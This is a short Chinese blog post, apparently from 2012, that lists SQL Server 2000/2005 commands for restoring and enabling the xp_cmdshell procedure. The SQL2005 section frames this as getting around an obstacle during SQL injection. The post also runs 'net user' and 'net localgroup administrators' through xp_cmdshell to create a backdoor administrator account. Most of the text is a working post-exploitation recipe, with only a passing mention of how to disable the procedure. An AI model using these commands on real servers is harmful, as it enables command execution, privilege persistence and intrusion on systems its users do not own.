xp_cmdshell在sql2000和sql2005恢复办法

作者: admin 分类: SQLServer 发布时间: 2012-02-21 11:34 ė 6 xp_cmdshell在sql2000和sql2005恢复办法已关闭评论

 

强制修复

exec sp_dropextendedproc ‘xp_cmdshell’

dbcc addextendedproc (“xp_cmdshell”,”D:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”);

EXEC sp_configure ‘show advanced options’, 0

 

–添加管理员

exec master..xp_cmdshell ‘net user abc mypassword  /add’

exec master..xp_cmdshell ‘net localgroup administrators abc /add’

 

 

 

扩展储存过程被删除以后可以有很简单的办法恢复:
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ‘xp_cmdshell’

恢复
dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)

这样可以直接恢复,不用去管sp_addextendedproc是不是存在

—————————–

删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc ‘xp_cmdshell’

恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

开启cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok

恢复xp_cmdshell
exec master.dbo.addextendedproc ‘xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok

否则上传xplog7.0.dll
exec master.dbo.addextendedproc ‘xp_cmdshell’,’c:\winnt\system32\xplog70.dll’

堵上cmdshell的sql语句
sp_dropextendedproc “xp_cmdshell

sql2005

SQL2005 在默认的设置中是删除了 XP_CMDSHELL的,因此也在注射过程中产生了点困难。后来经过查看MSSQL2005的手册才知道情况原来如此:
用下面一句话就可以了解决了。
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
关闭一样.只是将上面的后面的那个”1″改成”0″就可以了.
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

本文出自weicms.net,转载时请注明出处及相应链接。

本文永久链接: http://www.weicms.net/2012/02/21/xp_cmdshell_sql2000_2005.html

0
Ɣ回顶部